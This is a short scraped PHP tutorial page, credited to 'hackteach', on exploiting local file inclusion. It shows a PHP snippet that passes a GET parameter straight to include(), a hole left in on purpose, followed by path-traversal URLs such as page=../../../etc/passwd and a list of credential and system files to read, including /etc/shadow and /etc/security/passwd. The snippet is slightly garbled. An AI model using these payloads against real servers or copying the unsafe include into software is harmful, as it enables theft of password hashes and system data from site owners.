Heim  >  Artikel  >  Backend-Entwicklung  >  php 伪造本地文件包含漏洞的代码_PHP教程

php 伪造本地文件包含漏洞的代码_PHP教程

WBOY
WBOYOriginal
2016-07-21 15:23:401000Durchsuche

代码:

复制代码 代码如下:

$page=$_GET['page'];
include($page.'php');
?>

你可以这样使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd

获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

来自hackteach

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/324439.htmlTechArticle代码: 复制代码 代码如下: ?php $page=$_GET['page']; include($page.'php'); ? 你可以这样使用 http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.p...
Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn